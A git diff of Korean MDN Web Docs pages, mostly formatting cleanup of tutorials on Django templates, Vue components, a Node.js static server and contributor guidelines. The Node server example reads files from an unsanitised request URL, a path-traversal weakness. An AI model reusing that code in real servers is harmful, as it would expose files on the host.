 MDN의 초심자용 서버측 프로그래밍 코스에 오신 것을 환영합니다! 첫번째 기사는 높은 수준의 서버측 프로그래밍을 살펴보고, "이게 뭐야?" , "클라이언트 측 프로그래밍과 어떻게 다르지?", 그리고 "이게 왜 유용한데?"같은 질문에 답할 것입니다. 이 기사를 읽은 뒤 당신은 웹 사이트가 서버측 코딩을 통해 이용 할 수 있는 추가적인 효과를 이해 할 수 있을것 입니다.
diff --git a/files/ko/learn/server-side/first_steps/web_frameworks/index.md b/files/ko/learn/server-side/first_steps/web_frameworks/index.md
index 84c34f03851084..dc67212241a3e0 100644
--- a/files/ko/learn/server-side/first_steps/web_frameworks/index.md
+++ b/files/ko/learn/server-side/first_steps/web_frameworks/index.md
@@ -147,24 +147,22 @@ def youngest(request):
 
 아래의 코드 스니펫은 그것이 어떻게 작동 하는지 보여줍니다. 이전 섹션에 사용한 "youngest team" 예제를 다시 보겠습니다, HTML 템플릿은 뷰에서 `youngest_teams`이라고 불리는 목록 변수를 전달 받습니다. HTML 골격 내에는 `youngest_teams`이 있는지 체크하는 표현식이 있고, 있다면 `for` 루프를 통해 반복문을 만드는 것을 볼 수 있습니다. 각 반복당 템플릿은 팀리스트에 있는 `team_name`을 출력해줍니다.
 
-```html
-#best/templates/best/index.html
+```django
+<!-- best/templates/best/index.html -->
 
-<!DOCTYPE html>
+<!doctype html>
 <html lang="en">
-<body>
-
- {% if youngest_teams %}
-    <ul>
-    {% for team in youngest_teams %}
-        <li>\{\{ team.team_name \}\}</li>
-    {% endfor %}
-    </ul>
-{% else %}
-    <p>No teams are available.</p>
-{% endif %}
-
-</body>
+  <body>
+    {% if youngest_teams %}
+      <ul>
+        {% for team in youngest_teams %}
+          <li>\{\{ team.team_name \}\}</li>
+        {% endfor %}
+      </ul>
+    {% else %}
+      <p>No teams are available.</p>
+    {% endif %}
+  </body>
 </html>
 ```
 
@@ -196,15 +194,15 @@ def youngest(request):
 >
 > 1. (위 링크들의) 메인 사이트를 둘러보기
 >
->     - Documentation 메뉴에 링크들(Documentation, Guide, API Reference, Getting Started등)을 클릭해보십시오.
->     - URL routing, templates, and databases/models등을 설정하는 주제들이 보이십니까?
->     - 해당 문서들은 명료하게 작성이 되어있습니까?
+>    - Documentation 메뉴에 링크들(Documentation, Guide, API Reference, Getting Started등)을 클릭해보십시오.
+>    - URL routing, templates, and databases/models등을 설정하는 주제들이 보이십니까?
+>    - 해당 문서들은 명료하게 작성이 되어있습니까?
 >
 > 2. 각각의 사이트에서 mailing lists(해당 커뮤니티의 링크들을 통해서 접근할 수 있습니다)를 둘러보기
 >
->     - 지난 며칠동안 얼마나 많은 질문들이 올라왔습니까?
->     - 얼마나 많은 답변이 있습니까?
->     - 왕성한 활동을 보이는 커뮤니티를 갖고 있습니까?
+>    - 지난 며칠동안 얼마나 많은 질문들이 올라왔습니까?
+>    - 얼마나 많은 답변이 있습니까?
+>    - 왕성한 활동을 보이는 커뮤니티를 갖고 있습니까?
 
 ## A few good web frameworks?
 
@@ -216,7 +214,7 @@ def youngest(request):
 
 ### Django (Python)
 
-[Django](https://www.djangoproject.com/) is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.
+[Django](https://www.djangoproject.com/) is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It's free and open source.
 
 Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.
 
diff --git a/files/ko/learn/server-side/first_steps/website_security/index.md b/files/ko/learn/server-side/first_steps/website_security/index.md
index d8d79700c4766f..2ff9478dd3d3a9 100644
--- a/files/ko/learn/server-side/first_steps/website_security/index.md
+++ b/files/ko/learn/server-side/first_steps/website_security/index.md
@@ -92,7 +92,7 @@ Web frameworks will often take care of this escaping for you. Django, for exampl
 
 ### Cross Site Request Forgery (CSRF)
 
-CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.
+CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user's knowledge or consent.
 
 This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP `POST` request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the _Submit_ button disguised as a link to a "get rich quick" site).
 
diff --git a/files/ko/learn/server-side/index.md b/files/ko/learn/server-side/index.md
index 2069c289c56440..0657f9220c61e1 100644
--- a/files/ko/learn/server-side/index.md
+++ b/files/ko/learn/server-side/index.md
@@ -2,6 +2,7 @@
 title: Server-side website programming
 slug: Learn/Server-side
 ---
+
 {{LearnSidebar}}
 
 The **동적 웹사이트 서버-사이드 프로그래밍** 에 대한 주제는 동적 웹사이트를 생성하는 방법을 보여주는 과목(module) 시리즈이다. (Dynamic Websites: HTTP 요구(requests)에 응답하여 요구에 맞는 정보를 전달하는 웹사이트) 각 과목들은 서버-사이드 프로그래밍의 포괄적인 소개를 제공한다. 기본적인 어플리케이션들을 생성하기 위한 Django (Python) 와Express (Node.js/JavaScript) 같은 웹 프레임워크를 사용하는 방법에 대한 초보자 레벨(beginner level)의 가이드도 포함한다.
diff --git a/files/ko/learn/server-side/node_server_without_framework/index.md b/files/ko/learn/server-side/node_server_without_framework/index.md
index d33f320182ca5f..14f01f75af6f95 100644
--- a/files/ko/learn/server-side/node_server_without_framework/index.md
+++ b/files/ko/learn/server-side/node_server_without_framework/index.md
@@ -18,58 +18,61 @@ original_slug: Node_server_without_framework
 다음은 짧고 간단한 정적 파일 nodejs 서버입니다.
 
 ```js
-var http = require('http');
-var fs = require('fs');
-var path = require('path');
+var http = require("http");
+var fs = require("fs");
+var path = require("path");
 
-http.createServer(function (request, response) {
-    console.log('request ', request.url);
+http
+  .createServer(function (request, response) {
+    console.log("request ", request.url);
 
-    var filePath = '.' + request.url;
-    if (filePath == './') {
-        filePath = './index.html';
+    var filePath = "." + request.url;
+    if (filePath == "./") {
+      filePath = "./index.html";
     }
 
     var extname = String(path.extname(filePath)).toLowerCase();
     var mimeTypes = {
-        '.html': 'text/html',
-        '.js': 'text/javascript',
-        '.css': 'text/css',
-        '.json': 'application/json',
-        '.png': 'image/png',
-        '.jpg': 'image/jpg',
-        '.gif': 'image/gif',
-        '.svg': 'image/svg+xml',
-        '.wav': 'audio/wav',
-        '.mp4': 'video/mp4',
-        '.woff': 'application/font-woff',
-        '.ttf': 'application/font-ttf',
-        '.eot': 'application/vnd.ms-fontobject',
-        '.otf': 'application/font-otf',
-        '.wasm': 'application/wasm'
+      ".html": "text/html",
+      ".js": "text/javascript",
+      ".css": "text/css",
+      ".json": "application/json",
+      ".png": "image/png",
+      ".jpg": "image/jpg",
+      ".gif": "image/gif",
+      ".svg": "image/svg+xml",
+      ".wav": "audio/wav",
+      ".mp4": "video/mp4",
+      ".woff": "application/font-woff",
+      ".ttf": "application/font-ttf",
+      ".eot": "application/vnd.ms-fontobject",
+      ".otf": "application/font-otf",
+      ".wasm": "application/wasm",
     };
 
-    var contentType = mimeTypes[extname] || 'application/octet-stream';
+    var contentType = mimeTypes[extname] || "application/octet-stream";
 
-    fs.readFile(filePath, function(error, content) {
-        if (error) {
-            if(error.code == 'ENOENT') {
-                fs.readFile('./404.html', function(error, content) {
-                    response.writeHead(404, { 'Content-Type': 'text/html' });
-                    response.end(content, 'utf-8');
-                });
-            }
-            else {
-                response.writeHead(500);
-                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
-            }
-        }
-        else {
-            response.writeHead(200, { 'Content-Type': contentType });
-            response.end(content, 'utf-8');
+    fs.readFile(filePath, function (error, content) {
+      if (error) {
+        if (error.code == "ENOENT") {
+          fs.readFile("./404.html", function (error, content) {
+            response.writeHead(404, { "Content-Type": "text/html" });
+            response.end(content, "utf-8");
+          });
+        } else {
+          response.writeHead(500);
+          response.end(
+            "Sorry, check with the site admin for error: " +
+              error.code +
+              " ..\n",
+          );
         }
+      } else {
+        response.writeHead(200, { "Content-Type": contentType });
+        response.end(content, "utf-8");
+      }
     });
-
-}).listen(8125);
-console.log('Server running at http://127.0.0.1:8125/');
+  })
+  .listen(8125);
+console.log("Server running at http://127.0.0.1:8125/");
 ```
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/default-create-react-app.png b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/default-create-react-app.png
deleted file mode 100644
index 3e31311d649690..00000000000000
Binary files a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/default-create-react-app.png and /dev/null differ
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md
index 3e806645b24cfe..130d2a481fd9c8 100644
--- a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md
+++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md
@@ -219,7 +219,7 @@ function App(props) {
 >
 ```
 
-`role` 속성은 보조 기술이 태그가 나타내고 있는 요소의 종류가 무엇인지 설명하는 데 도움이 됩니다. `<ul>`은 기본적으로 리스트처럼 취급되지만, 우리가 추가할 스타일은 리스트의 기능성을 해칩니다. `role="list"`는 `<ul>` 요소가 "리스트"의 의미를 회복하도록 합니다. 이것이 왜 필요한지 알고 싶다면, [Scott O'Hara’s article, “Fixing Lists”](https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html)을 참고하세요.
+`role` 속성은 보조 기술이 태그가 나타내고 있는 요소의 종류가 무엇인지 설명하는 데 도움이 됩니다. `<ul>`은 기본적으로 리스트처럼 취급되지만, 우리가 추가할 스타일은 리스트의 기능성을 해칩니다. `role="list"`는 `<ul>` 요소가 "리스트"의 의미를 회복하도록 합니다. 이것이 왜 필요한지 알고 싶다면, [Scott O'Hara's article, "Fixing Lists"](https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html)을 참고하세요.
 
 `aria-labelledby` 속성은 보조 기술에게 리스트 헤딩을 헤딩 아래의 리스트의 목적을 나타내는 라벨로 사용하고 있음을 알립니다. 이러한 연관을 만드는 것은 리스트가 더욱 정보가 많은 맥락을 가지게 하여, 스크린 리더 사용자가 리스트의 목적을 더 잘 이해할 수 있도록 합니다.
 
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/unstyled-app.png b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/unstyled-app.png
deleted file mode 100644
index a25911baa1af0b..00000000000000
Binary files a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/unstyled-app.png and /dev/null differ
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.md b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.md
index 14f91b586004eb..c8f33dd6bf55aa 100644
--- a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.md
+++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.md
@@ -172,9 +172,9 @@ With these props defined inside the component object, we can now use these varia
 
 In your `<template>`, replace the contents of the `<label>` element with `\{{label}}`.
 
-`\{{}}` is a special template syntax in Vue, which lets us print the result of JavaScript expressions defined in our class, inside our template, including values and methods. It’s important to know that content inside `\{{}}` is displayed as text and not HTML. In this case, we’re printing the value of the `label` prop.
+`\{{}}` is a special template syntax in Vue, which lets us print the result of JavaScript expressions defined in our class, inside our template, including values and methods. It's important to know that content inside `\{{}}` is displayed as text and not HTML. In this case, we're printing the value of the `label` prop.
 
-Your component’s template section should now look like this:
+Your component's template section should now look like this:
 
 ```html
 <template>
@@ -185,7 +185,7 @@ Your component’s template section should now look like this:
 </template>
 ```
 
-Go back to your browser and you'll see the todo item rendered as before, but without a label (oh no!). Go to your browser's DevTools and you’ll see a warning along these lines in the console:
+Go back to your browser and you'll see the todo item rendered as before, but without a label (oh no!). Go to your browser's DevTools and you'll see a warning along these lines in the console:
 
 ```
 [Vue warn]: Missing required prop: "label"
@@ -197,7 +197,7 @@ found in
          <Root>
 ```
 
-This is because we marked the `label` as a required prop, but we never gave the component that prop — we've defined where inside the template we want it used, but we haven't passed it into the component when calling it. Let’s fix that.
+This is because we marked the `label` as a required prop, but we never gave the component that prop — we've defined where inside the template we want it used, but we haven't passed it into the component when calling it. Let's fix that.
 
 Inside your `App.vue` file, add a `label` prop to the `<to-do-item></to-do-item>` component, just like a regular HTML attribute:
 
@@ -215,7 +215,7 @@ If you change the value of the `label` prop passed into the `<to-do-item></to-do
 
 To achieve this, we want to bind the component's `done` prop to the `checked` attribute on the [`<input>`](/ko/docs/Web/HTML/Element/input) element, so that it can serve as a record of whether the checkbox is checked or not. However, it's important that props serve as one-way data binding — a component should never alter the value of its own props. There are a lot of reasons for this. In part, components editing props can make debugging a challenge. If a value is passed to multiple children, it could be hard to track where the changes to that value were coming from. In addition, changing props can cause components to re-render. So mutating props in a component would trigger the component to rerender, which may in-turn trigger the mutation again.
 
-To work around this, we can manage the `done` state using Vue’s `data` property. The `data` property is where you can manage local state in a component, it lives inside the component object alongside the `props` property and has the following structure:
+To work around this, we can manage the `done` state using Vue's `data` property. The `data` property is where you can manage local state in a component, it lives inside the component object alongside the `props` property and has the following structure:
 
 ```js
 data() {
@@ -229,7 +229,7 @@ You'll note that the `data` property is a function. This is to keep the data val
 
 You use `this` to access a component's props and other properties from inside data, as you may expect. We'll see an example of this shortly.
 
-> **참고:** Because of the way that `this` works in arrow functions (binding to the parent’s context), you wouldn’t be able to access any of the necessary attributes from inside `data` if you used an arrow function. So don’t use an arrow function for the `data` property.
+> **참고:** Because of the way that `this` works in arrow functions (binding to the parent's context), you wouldn't be able to access any of the necessary attributes from inside `data` if you used an arrow function. So don't use an arrow function for the `data` property.
 
 So let's add a `data` property to our `ToDoItem` component. This will return an object containing a single property that we'll call `isDone`, whose value is `this.done`.
 
@@ -249,7 +249,7 @@ export default {
 };
 ```
 
-Vue does a little magic here — it binds all of your props directly to the component instance, so we don’t have to call `this.props.done`. It also binds other attributes (`data`, which you’ve already seen, and others like `methods`, `computed`, etc.) directly to the instance. This is, in part, to make them available to your template. The down-side to this is that you need to keep the keys unique across these attributes. This is why we called our `data` attribute `isDone` instead of `done`.
+Vue does a little magic here — it binds all of your props directly to the component instance, so we don't have to call `this.props.done`. It also binds other attributes (`data`, which you've already seen, and others like `methods`, `computed`, etc.) directly to the instance. This is, in part, to make them available to your template. The down-side to this is that you need to keep the keys unique across these attributes. This is why we called our `data` attribute `isDone` instead of `done`.
 
 So now we need to attach the `isDone` property to our component. In a similar fashion to how Vue uses `\{{}}` expressions to display JavaScript expressions inside templates, Vue has a special syntax to bind JavaScript expressions to HTML elements and components: **`v-bind`**. The `v-bind` expression looks like this:
 
@@ -294,7 +294,7 @@ Great! We now have a working checkbox where we can set the state programmaticall
 
 We can use the [lodash](https://www.npmjs.com/package/lodash) package's `uniqueid()` method to help keep the index unique. This package exports a function that takes in a string and appends a unique integer to the end of the prefix. This will be sufficient for keeping component `id`s unique.
 
-Let’s add the package to our project with npm; stop your server and enter the following command into your terminal:
+Let's add the package to our project with npm; stop your server and enter the following command into your terminal:
 
 ```bash
 npm install --save lodash.uniqueid
@@ -302,7 +302,7 @@ npm install --save lodash.uniqueid
 
 > **참고:** If you prefer yarn, you could instead use `yarn add lodash.uniqueid`.
 
-We can now import this package into our `ToDoItem` component. Add the following line at the top of `ToDoItem.vue`’s `<script>` element:
+We can now import this package into our `ToDoItem` component. Add the following line at the top of `ToDoItem.vue`'s `<script>` element:
 
 ```js
 import uniqueId from 'lodash.uniqueid';
@@ -327,7 +327,7 @@ export default {
 };
 ```
 
-Next, bind the `id` to both our checkbox’s `id` attribute and the label’s `for` attribute, updating the existing `id` and `for` attributes as shown:
+Next, bind the `id` to both our checkbox's `id` attribute and the label's `for` attribute, updating the existing `id` and `for` attributes as shown:
 
 ```js
 <template>
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md
index 3a1c624bfc8f46..7465bdf0bc07c0 100644
--- a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md
+++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md
@@ -218,7 +218,7 @@ INFO  Starting development server...
   To create a production build, run npm run build.
 ```
 
-브라우저 탭을 열고 위의 “local” 주소로 (위 내용처럼 `http://localhost:8080`이거나 설정에 따라 다를 수 있음) 이동해보면, 아래 사진과 같은 앱이 나타날 것입니다. 환영 메시지, Vue 문서 링크, 우리가 선택한 CLI 플러그인 링크, 기타 유용한 Vue 커뮤니티와 생태계 링크 등이 표시되고 있습니다.
+브라우저 탭을 열고 위의 "local" 주소로 (위 내용처럼 `http://localhost:8080`이거나 설정에 따라 다를 수 있음) 이동해보면, 아래 사진과 같은 앱이 나타날 것입니다. 환영 메시지, Vue 문서 링크, 우리가 선택한 CLI 플러그인 링크, 기타 유용한 Vue 커뮤니티와 생태계 링크 등이 표시되고 있습니다.
 
 ![default vue app render, with vue logo, welcome message, and some documentation links](vue-default-app.png)
 
diff --git a/files/ko/mdn/at_ten/index.md b/files/ko/mdn/at_ten/index.md
index 9bf13bcc8ba4b1..53fc6530a2622a 100644
--- a/files/ko/mdn/at_ten/index.md
+++ b/files/ko/mdn/at_ten/index.md
@@ -3,6 +3,7 @@ title: MDN at 10
 slug: MDN/At_ten
 original_slug: MDN_at_ten
 ---
+
 당신의 웹을 문서화 하는 것의 10주년을 기념하세요.
 
 ## MDN의 역사
diff --git a/files/ko/mdn/community/contributing/getting_started/index.md b/files/ko/mdn/community/contributing/getting_started/index.md
index 842519fecfa998..04c92d6e81a923 100644
--- a/files/ko/mdn/community/contributing/getting_started/index.md
+++ b/files/ko/mdn/community/contributing/getting_started/index.md
@@ -3,6 +3,7 @@ title: MDN 시작하기
 slug: MDN/Community/Contributing/Getting_started
 original_slug: MDN/Contribute/Getting_started
 ---
+
 {{MDNSidebar}}
 
 우리는 어떤 브랜드의 플랫폼이나 브라우저에 상관 없이 더 나은 웹을 위한 리소스를 만드는 오픈 커뮤니티입니다. 누구나 참여할 수 있고, 여러분의 참여는 우리에게 더욱 큰 힘이 됩니다. 우리는 가장 멋진 것들을 제공하기 위해 계속해서 웹의 혁신을 이끌어 낼 것입니다. 여러분들과 함께 말이죠.
diff --git a/files/ko/mdn/community/issues/index.md b/files/ko/mdn/community/issues/index.md
index 153da9986f0941..e767757e083027 100644
--- a/files/ko/mdn/community/issues/index.md
+++ b/files/ko/mdn/community/issues/index.md
@@ -3,6 +3,7 @@ title: MDN에 문제 보고하기
 slug: MDN/Community/Issues
 original_slug: MDN/Contribute/Howto/Report_a_problem
 ---
+
 <div>{{MDNSidebar}}</div>
 
 <p>가끔씩은 MDN을 이용하면서 몇몇 문제를 발견하게 될 수도 있습니다. 사이트의 내부 구조에서 생긴 문제나 문서 내용에 잘못된 점이 있다면, 직접 수정하거나 문제점을 보고할 수 있습니다. 물론 직접 수정해주는 것이 제일 좋겠지만, 문제점을 알려주는 것이 최선이라면 그것도 괜찮습니다.</p>
diff --git a/files/ko/mdn/contribute/index.md b/files/ko/mdn/contribute/index.md
index cccf05eb09cc6f..e77faf165e74be 100644
--- a/files/ko/mdn/contribute/index.md
+++ b/files/ko/mdn/contribute/index.md
@@ -2,6 +2,7 @@
 title: MDN에 참여하기
 slug: MDN/Contribute
 ---
+
 {{MDNSidebar}}
 
 환영합니다! 이 페이지를 방문함으로써 당신은 MDN의 공헌자가 되기 위한 한 발을 내딛으셨습니다! 아래의 가이드 목록은 스타일 가이드와, 저희의 에디터와 툴 사용설명서 등 MDN에 공헌하기 위한 모든 내용을 담고 있습니다. 페이지를 수정하거나 추가하기 전에 꼭 [Mozilla 법적 고지](https://www.mozilla.org/en-US/about/legal/terms/mozilla/)를 읽고 숙지하시길 바랍니다.
diff --git a/files/ko/mdn/writing_guidelines/howto/creating_moving_deleting/index.md b/files/ko/mdn/writing_guidelines/howto/creating_moving_deleting/index.md
index 7fb269c24e0e17..900f078c496bcf 100644
--- a/files/ko/mdn/writing_guidelines/howto/creating_moving_deleting/index.md
+++ b/files/ko/mdn/writing_guidelines/howto/creating_moving_deleting/index.md
@@ -3,6 +3,7 @@ title: 페이지 생성 및 수정
 slug: MDN/Writing_guidelines/Howto/Creating_moving_deleting
 original_slug: MDN/Contribute/Howto/Create_and_edit_pages
 ---
+
 {{MDNSidebar}}
 
 신규 공헌자가 이미 있는 문서를 수정하거나 신규 문서를 생성하는 법에 대해 설명합니다.
diff --git a/files/ko/mdn/writing_guidelines/howto/index.md b/files/ko/mdn/writing_guidelines/howto/index.md
index 29a80115477ad1..6a44b4cfd2f091 100644
--- a/files/ko/mdn/writing_guidelines/howto/index.md
+++ b/files/ko/mdn/writing_guidelines/howto/index.md
@@ -176,37 +176,37 @@ MDN 페이지에 올바르게 태그를 지정하지 않으면 검색 필터가
 
 > **참고:** If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.
 
-| 필터 그룹 | 검색명                | 태그명                                                                                                                |
-| --------- | --------------------- | --------------------------------------------------------------------------------------------------------------------- |
-| 주제      | Open Web Apps         | Apps                                                                                                  |
-|           | HTML                  | HTML                                                                                                  |
-|           | CSS                   | CSS                                                                                                  |
-|           | JavaScript            | JavaScript                                                                                          |
-|           | APIs and DOM          | API                                                                                                  |
-|           | Canvas                | Canvas                                                                                              |
-|           | SVG                   | SVG                                                                                                  |
-|           | MathML                | MathML                                                                                              |
-|           | WebGL                 | WebGL                                                                                                  |
-|           | XUL                   | XUL                                                                                                  |
-|           | Marketplace           | Marketplace                                                                                          |
-|           | Firefox               | Firefox                                                                                              |
-|           | 안드로이드 용 Firefox | Firefox Mobile                                                                                      |
-|           | 데스크탑 용Firefox    | Firefox Desktop                                                                                  |
-|           | Firefox 운영체제      | Firefox OS                                                                                          |
-|           | 모바일                | Mobile                                                                                              |
-|           | 웹 개발               | Web Development                                                                                  |
-|           | 애드온 & 확장프로그램 | Add-ons \|\| Extensions \|\| Plugins \|\| Themes |
-|           | 게임                  | Games                                                                                                  |
-| 기술 수준 | 전문가                | Advanced                                                                                              |
-|           | 중급자                | Intermediate                                                                                      |
-|           | 초급자                | Beginner                                                                                              |
-| 문서 형식 | 문서                  | _This restricts the search to docs content, leaving out Hacks and other MDN content._                                 |
-|           | 체험판                | _This includes Demo Studio content in the search results._                                                            |
-|           | 도구                  | Tools                                                                                                  |
-|           | 코드 샘플             | Example                                                                                              |
-|           | 튜토리얼              | Guide                                                                                                  |
-|           | 개발자 프로필         | _This includes developer profiles from the MDN site in the search results._                                           |
-|           | 외부 리소스           | _The dev team is still figuring this out..._                                                                          |
+| 필터 그룹 | 검색명                | 태그명                                                                                |
+| --------- | --------------------- | ------------------------------------------------------------------------------------- |
+| 주제      | Open Web Apps         | Apps                                                                                  |
+|           | HTML                  | HTML                                                                                  |
+|           | CSS                   | CSS                                                                                   |
+|           | JavaScript            | JavaScript                                                                            |
+|           | APIs and DOM          | API                                                                                   |
+|           | Canvas                | Canvas                                                                                |
+|           | SVG                   | SVG                                                                                   |
+|           | MathML                | MathML                                                                                |
+|           | WebGL                 | WebGL                                                                                 |
+|           | XUL                   | XUL                                                                                   |
+|           | Marketplace           | Marketplace                                                                           |
+|           | Firefox               | Firefox                                                                               |
+|           | 안드로이드 용 Firefox | Firefox Mobile                                                                        |
+|           | 데스크탑 용Firefox    | Firefox Desktop                                                                       |
+|           | Firefox 운영체제      | Firefox OS                                                                            |
+|           | 모바일                | Mobile                                                                                |
+|           | 웹 개발               | Web Development                                                                       |
+|           | 애드온 & 확장프로그램 | Add-ons \|\| Extensions \|\| Plugins \|\| Themes                                      |
+|           | 게임                  | Games                                                                                 |
+| 기술 수준 | 전문가                | Advanced                                                                              |
+|           | 중급자                | Intermediate                                                                          |
+|           | 초급자                | Beginner                                                                              |
+| 문서 형식 | 문서                  | _This restricts the search to docs content, leaving out Hacks and other MDN content._ |
+|           | 체험판                | _This includes Demo Studio content in the search results._                            |
+|           | 도구                  | Tools                                                                                 |
+|           | 코드 샘플             | Example                                                                               |
+|           | 튜토리얼              | Guide                                                                                 |
+|           | 개발자 프로필         | _This includes developer profiles from the MDN site in the search results._           |
+|           | 외부 리소스           | _The dev team is still figuring this out..._                                          |
 
 ## 해결할 수 있는 태그 추가 문제
 
diff --git a/files/ko/mdn/writing_guidelines/howto/write_an_api_reference/sidebars/index.md b/files/ko/mdn/writing_guidelines/howto/write_an_api_reference/sidebars/index.md
index a5b3fb8208a1d0..c9f72f930fbaa9 100644
--- a/files/ko/mdn/writing_guidelines/howto/write_an_api_reference/sidebars/index.md
+++ b/files/ko/mdn/writing_guidelines/howto/write_an_api_reference/sidebars/index.md
@@ -79,12 +79,14 @@ GroupData 엔트리에 추가할 수 있는 하위 멤버 목록입니다.
 5. `"events"` — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to [https://developer.mozilla.org/ko/docs/Web/Events/animationstart](/ko/docs/Web/Events/animationstart).
 6. `"guides"` — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:
 
-    ```json
-    { "url":   "/docs/Web/API/Detecting_device_orientation",
-    "title": "Detecting device orientation" }
-    ```
-
-    Creates a link with the title "Detecting device orientation", which points to [https://developer.mozilla.org/ko/docs/Web/API/Detecting_device_orientation](/ko/docs/Web/API/Detecting_device_orientation).
+   ```json
+   {
+     "url": "/docs/Web/API/Detecting_device_orientation",
+     "title": "Detecting device orientation"
+   }
+   ```
+
+   Creates a link with the title "Detecting device orientation", which points to [https://developer.mozilla.org/ko/docs/Web/API/Detecting_device_orientation](/ko/docs/Web/API/Detecting_device_orientation).
 
 ### API Submembers and Tags
 
diff --git a/files/ko/mdn/writing_guidelines/index.md b/files/ko/mdn/writing_guidelines/index.md
index 83e33980acb8bf..e5188dacc0f3bd 100644
--- a/files/ko/mdn/writing_guidelines/index.md
+++ b/files/ko/mdn/writing_guidelines/index.md
@@ -3,6 +3,7 @@ title: MDN Web Docs에 대해
 slug: MDN/Writing_guidelines
 original_slug: MDN/About
 ---
+
 {{MDNSidebar}}
 
 MDN Web Docs는 [CSS](/ko/docs/Web/CSS), [HTML](/ko/docs/Web/HTML),
@@ -45,12 +46,12 @@ MDN 콘텐츠를 재사용할 땐 다음의 두 가지를 기억해주세요.
 
 1. 원본 콘텐츠로의 출처를 표기해야 합니다.
 
-    저작자로 "Mozilla 기여자"를 명시해주세요. 원본 콘텐츠 페이지로의 하이퍼링크(온라인) 또는 URL(출력물)을 포함해야
-    합니다. 예를 들어, 이 글의 출처를 표기할 땐 다음처럼 작성해주세요.
+   저작자로 "Mozilla 기여자"를 명시해주세요. 원본 콘텐츠 페이지로의 하이퍼링크(온라인) 또는 URL(출력물)을 포함해야
+   합니다. 예를 들어, 이 글의 출처를 표기할 땐 다음처럼 작성해주세요.
 
-    > [Mozilla 기여자](/ko/docs/MDN/About/contributors.txt)가 작성한
-    > [MDN에 대해](/ko/docs/MDN/About)는
-    > [CC-BY-SA 2.5](https://creativecommons.org/licenses/by-sa/2.5/) 라이선스에 따라 사용할 수 있습니다.
+   > [Mozilla 기여자](/ko/docs/MDN/About/contributors.txt)가 작성한
+   > [MDN에 대해](/ko/docs/MDN/About)는
+   > [CC-BY-SA 2.5](https://creativecommons.org/licenses/by-sa/2.5/) 라이선스에 따라 사용할 수 있습니다.
 
 2. 여러분의 콘텐츠 역시 원본 콘텐츠와 동일한 라이선스, 즉 CC-BY-SA v2.5 또는 그 이후 버전을 적용해야 합니다.
 
diff --git a/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/css/index.md b/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/css/index.md
index 8294eb991f939b..6585f8c0cc869d 100644
--- a/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/css/index.md
+++ b/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/css/index.md
@@ -3,6 +3,7 @@ title: CSS 가이드라인
 slug: MDN/Writing_guidelines/Writing_style_guide/Code_style_guide/CSS
 original_slug: MDN/Guidelines/Code_guidelines/CSS
 ---
+
 {{MDNSidebar}}
 
 다음 가이드라인은 MDN code 예제를 위한 CSS 작성 방법을 설명합니다.
@@ -79,7 +80,11 @@ p {
 Not this:
 
 ```css example-bad
-p { color: white; background-color: black; padding: 1rem; }
+p {
+  color: white;
+  background-color: black;
+  padding: 1rem;
+}
 ```
 
 In addition, keep these specifics in mind:
@@ -258,7 +263,9 @@ h3 {
 Not this:
 
 ```css example-bad
-h1, h2, h3 {
+h1,
+h2,
+h3 {
   font-family: sans-serif;
   text-align: center;
 }
diff --git a/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/index.md b/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/index.md
index ebe82cbbf32039..63a848f4c6e5f4 100644
--- a/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/index.md
+++ b/files/ko/mdn/writing_guidelines/writing_style_guide/code_style_guide/index.md
